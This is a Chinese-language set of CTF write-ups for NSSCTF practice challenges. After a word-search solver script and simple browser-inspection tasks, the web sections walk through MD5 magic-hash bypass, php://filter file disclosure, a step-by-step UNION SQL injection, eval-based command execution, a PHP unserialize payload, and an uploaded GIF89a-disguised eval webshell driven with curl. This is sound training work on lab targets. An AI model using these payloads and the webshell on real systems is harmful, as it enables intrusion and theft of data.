乱七八糟的WP

乱七八糟的WP

Misc

[SEETF 2023]1337 Word Search - NSSCTF

思路

  • 先看题目描述:这是一个大型的字谜游戏。在网格中找到隐藏的flag,可以在八个方向中的任何一个方向(水平、垂直或对角线)找到。——可以猜测是一道单词搜索题
  • 再看附件:文件解压后看见一大堆乱字符,于是我们看:
    • 有没有图片?——没有,所以不是图片隐写
    • 有没有压缩包?——没有,所以不是压缩密码
    • 是不是编码?不像,因为没有规律且有{}_,不像base64
    • 同时也结合题目强调的grid(网格),说明:这些字符不是一整串,而应该按照二维矩阵理解
  • flag格式给了:
SEE{}
  • 所以核心思路就是:
    1. 把整个文本按照“矩阵”处理
    2. 从所有 S 开始搜索
    3. 朝 8 个方向尝试读取字符串
    4. 找到完整 SEE{...}

EXP

dirs = [
    (0,1),   # →
    (0,-1),  # ←
    (1,0),   # ↓
    (-1,0),  # ↑
    (1,1),   # ↘
    (-1,-1), # ↖
    (1,-1),  # ↙
    (-1,1)   # ↗
]

with open("wordsearch1.txt","r",encoding="utf-8") as f:
    grid = [line.strip() for line in f if line.strip()]

n = len(grid)
m = len(grid[0])

for i in range(n):
    for j in range(m):

        if grid[i][j] != 'S':
            continue

        for dx,dy in dirs:

            s = ""
            x,y = i,j

            for _ in range(100):

                if not (0 <= x < n and 0 <= y < m):
                    break

                s += grid[x][y]

                if s.startswith("SEE{") and s.endswith("}"):
                    print(s)

                x += dx
                y += dy

运行脚本后得到flag

SEE{you_found_me_now_try_the_1337er_one}

Web

[LitCTF 2023]我Flag呢? - NSSCTF

思路

  • 打开网站发现没有可交互的点,于是F12控制台审查元素
  • 打开控制台后看到:

    控制台(Console) 会输出页面资源报错信息/js的执行信息,同时也可以在这个交互式终端中执行js指令

  • 彩蛋提示运行giveMeEgg()函数即可拿到彩蛋,所以:
  • 但提交后发现不对😭,CTRL+U查看源码,CTRL+F进行搜索flag,在最下面的注释找到flag

[LitCTF 2023]导弹迷踪 - NSSCTF

思路

  • 这是一个小游戏,而针对这种逻辑是基于js的页面游戏,要么采用按照题目要求玩到第六关得到flag,要么就修改或者查看源码寻找flag
  • F12查看源码,在搜索框搜索"level",找到flag

[LitCTF 2023]就当无事发生 - NSSCTF

思路

  • 题目提示:“差点数据没脱敏就发出去了”,同时结合博客网址于是去Github上搜索ProbiusOfficial
  • 出现两条结果,查看后博客的源码应该在第二个
  • 进入仓库后找到Commits(提交记录),因为在题目的版本数据中找到题目的上传时间为2023-05-02,于是将仓库的查询时间改为52日之前。
  • 从查询结果我们发现,429日有两个提交记录,点进后一个提交记录可以看见修改

[LitCTF 2023]Follow me and hack me - NSSCTF

思路

  • 使用HackBar插件来在浏览器里面进行发送/接收http报文

[SWPUCTF 2021 新生赛]easy_md5 - NSSCTF

思路

  1. 看代码
 if ($name != $password && md5($name) == md5($password)) {
        echo $flag;
} else {
        echo "wrong!";
}

这段代码的要求:

namepassword不能一样,但二者的md5结果要相等 但这时我们注意到PHP用的是弱比较而不是严格比较

  1. 利用magic hash PHP里如果长这样:
0e123456789

会被当成科学计数法:

0 * 10^123456789 = 0

所以在PHP弱比较里:

"0e12345" == "0e67890"

的结果为true

而有一些字符串的 md5 值刚好是 0e 开头,而且后面全是数字,这种就叫 magic hash。常见的一组是:

QNKCDZO -> 0e830400451993494058024219903391
240610708 -> 0e462097431906509019562988736854

得到flag

NSSCTF{6ee63399-6c66-42f3-9216-2980f9982e38}

常见 MD5 magic hash

原文 MD5
QNKCDZO 0e830400451993494058024219903391
240610708 0e462097431906509019562988736854
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s1091221200a 0e940624217856561557816327384675

[SWPUCTF 2021 新生赛]include - NSSCTF

思路

  1. 打开环境提示“传入一个file试试”,所以试着/?file=flag,然后得到源码
<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);
    echo 'flag 在flag.php';
}else{
    echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?>

接着又尝试/?file=flag.php,页面并没有变化

  1. 在源码的最后一行看到:
include_once($file);

include_once函数,即它会执行flag.php但并不会显示出来flag

include_once 表示在脚本执行期间包含并运行指定文件。此行为和 include 类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回 true。顾名思义,require_once,文件仅仅包含(require)一次。

  1. 所以要用php://filterflag.php读取出来
?file=php://filter/read=convert.base64-encode/resource=flag.php

意思是:

使用 PHP 的 filter 伪协议,
在读取 flag.php 的时候,
把 flag.php 的内容进行 Base64 编码,然后输出编码后的结果。

得到的Base64再转换成flag


[SWPUCTF 2021 新生赛]easy_sql - NSSCTF

思路

1‍⃣ 传参 打开环境,结合“球球你输入点东西吧!”与标签页的“参数是wllm”,于是输入:

?/wllm=1

2‍⃣ 判断字段数:order by

/?wllm=1' order by 1 --+
/?wllm=1' order by 2 --+
/?wllm=1' order by 3 --+
/?wllm=1' order by 4 --+

order by 4时,产生报错,说明字段数是3

3‍⃣ 查看回显点:union select 1,2,3

回显点: union select 1,2,3 里面,哪个数字会显示在网页上

/?wllm=-1' union select 1,2,3 -- '

所以要想查询数据库名就可以把database()放到第二位或者第三位

?/wllm=-1' union select 1,database(),3 --+
?/wllm=-1' union select 1,2,database() --+

为什么用-1?

  • 因为用?wllm=1可能会查到正常数据
  • ?wllm=-1是为了先让网站原本的数据消失,再让它显示我们想查的数据

4‍⃣ 查询数据库信息:@@version

/?wllm=-1' union select 1,2,@@version -- '
/?wllm=-1' union select 1,@@version,3 -- '

@@version:是MySQL / MariaDB里的系统变量,用来显示数据库版本 这一步的作用:确认数据库类型和版本 如果是MySQL/MariaDB,就可以使用

information_schema
database()
user()
group_concat()
名称 作用 一般什么时候用
database() 查当前数据库名 早期,确定当前库
user() 查当前数据库用户 可选,了解权限
information_schema.tables 查表名 知道数据库后
information_schema.columns 查列名 知道表名后
group_concat() 多行合并成一行 查表名、列名、flag 时常用

5‍⃣查询库名和用户名:database()、user() 因为上一步已经确定为MariaDB,所以先使用database()查询当前数据库名

/?wllm=-1' union select 1,2,database() -- '

得到当前数据库名为:test_db——说明当前网站的数据在text_db中。又使用:

/?wllm=-1' union select 1,2,user() -- '

查到当前用户是:root@localhost——说明数据库的连接用户是root

6‍⃣ 爆表:查询有哪些表

/?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'-- '

查出有两个表且将二者合并到一行显示:test_tb,users

group_concat(table_name):把多个表名合并到一行显示 table_name:专门用来存放表名的目录 information_schema:记录了数据库的结构信息——有哪些数据库,每个数据库有哪些表,每个表有哪些列 select table_name from information_schema.tables:查出所有表的名字

7‍⃣ 爆列:查询表里有哪些字段

/?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb' -- '

说明flag很可能就在test_tb表里

8‍⃣flag

/?wllm=-1' union select 1,2,group_concat(flag) from test_tb -- '

9‍⃣总结

1. 看源码,找到参数 wllm
2. 用 order by 判断字段数
3. 用 union select 1,2,3 找回显位
4. 用 @@version 判断数据库类型
5. 用 database() 查当前数据库
6. 用 information_schema.tables 查表名
7. 用 information_schema.columns 查列名
8. 用 group_concat(flag) from test_tb 查 flag

[SWPUCTF 2021 新生赛]easyrce - NSSCTF

思路

1‍⃣ eval()是什么? eval()PHP 里的一个函数,作用是:把字符串当成 PHP 代码执行。 但是:eval()不能直接执行Linux命令

而要想执行Linux命令,需要调用system()函数

2‍⃣判断参数 环境打开后很容易看出要传参/?url=

3‍⃣查看根目录

?url=system("ls /");

查看服务器根目录下有什么文件 其中,flllllaaaaaaggggggg很可疑

4‍⃣ 读取flag文件

?url=system("cat /flllllaaaaaaggggggg");


[SWPUCTF 2021 新生赛]ez_unserialize - NSSCTF

思路

1‍⃣ 检查页面源码并没有发现有用的信息,于是采用dirsearch后台扫描

dirsearch -u

扫描后看见robots.txt 进入robots.txt后得知存在/cl45s.php,于是进入该目录下打开该文件获得代码 2‍⃣代码分析 首先看开头:

error_reporting(0);
show_source("cl45s.php");

error_reporting(0) :关闭报错显示。 show_source("cl45s.php") :把当前 PHP 文件的源码显示出来。

接着定义了一个类:

class wllm{
    public $admin;
    public $passwd;
}

这个类里面有两个公开属性:

$admin
$passwd

构造函数如下:

public function __construct(){
    $this->admin = "user";
    $this->passwd = "123456";
}

当正常创建 wllm 对象时,默认属性是:

admin = user
passwd = 123456

但是在析构函数中,程序会判断:

if($this->admin === "admin" && $this->passwd === "ctf"){
    include("flag.php");
    echo $flag;
}

也就是说,只要对象里的属性满足:

admin = admin
passwd = ctf

程序就会包含 flag.php,并输出 $flag

关键漏洞点在最后两行:

$p = $_GET['p'];
unserialize($p);

程序从 URL 参数 p 中获取内容,然后直接传给 unserialize() 反序列化。 这就意味着我们可以自己构造一个序列化字符串,让服务器反序列化出一个 wllm 对象,并且让这个对象的属性变成:

admin = admin
passwd = ctf

这样脚本结束时会自动触发 __destruct(),从而输出 flag。

3‍⃣ PHP 序列化格式分析 PHP 中对象的序列化格式大概是:

O:类名长度:"类名":属性数量:{属性名;属性值;}

字符串的序列化格式是:

s:字符串长度:"字符串";

本题类名是:

wllm

长度是 4,所以开头写:

O:4:"wllm"

类里面有两个属性:

admin
passwd

所以属性数量是 2:

O:4:"wllm":2:

接下来写两个属性: 第一个属性是 admin,属性名长度是 5,属性值也是 admin,长度也是 5:

s:5:"admin";s:5:"admin";

第二个属性是 passwd,属性名长度是 6,属性值是 ctf,长度是 3:

s:6:"passwd";s:3:"ctf";

所以完整 payload 为:

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
创建一个 wllm 对象;
这个对象有两个属性;
admin = "admin"
passwd = "ctf"

4‍⃣构造payload 原始 payload

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

可以直接拼接到 URL 后面:

但是 URL 中有一些特殊字符,比如:

:
"
{
}
;

有时候浏览器或服务器解析时可能会出问题,所以进行 URL 编码。

URL 编码后的 payload

O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D

[SWPUCTF 2021 新生赛]easyupload2.0 - NSSCTF

思路

1‍⃣打开环境看见的是要求传一个文件,于是上传一句话木马,同时又因为上传php文件显示“php是不行滴”,于是上传shell.phtml文件

GIF89a
<?php @eval($_POST['cmd']);?>

GIF89aGIF的文件头。很多上传检测只会粗略看文件开头是不是图片格式,加上这个可以让文件看起来更像GIF图片 <?php @eval($_POST['cmd']);?>:从 POST 参数 cmd 里取一段 PHP 代码,然后执行

2‍⃣上传成功后网站显示

./upload/shell.phtml succesfully uploaded!

说明该文件被放到了

/upload/shell.phtml

3‍⃣因为上传的木马中写道:

$_POST['cmd']

所以必须用POST传一个cmd参数

curl -X POST "http://靶机/upload/shell.phtml" -d "cmd=system('ls');"

此处真正执行的就是

system('ls');

4‍⃣操作 先在浏览器中访问木马地址

http://node4.anna.nssctf.cn:29689/upload/shell.phtml
# 测试木马能否执行命令
curl "http://node4.anna.nssctf.cn:29689/upload/shell.phtml" -Method POST -Body @{cmd="system('pwd');"}

# 看当前目录有什么文件
curl "http://node4.anna.nssctf.cn:29689/upload/shell.phtml" -Method POST -Body @{cmd="system('ls');"}

# 查看网站根目录文件
curl "http://node4.anna.nssctf.cn:29689/upload/shell.phtml" -Method POST -Body @{cmd="system('ls /var/www/html');“}

# 查看flag文件
 curl "http://node4.anna.nssctf.cn:29689/upload/shell.phtml" -Method POST -Body @{cmd="system('cat /var/www/html/flag.php');"}

成功读取flag.php文件得到flag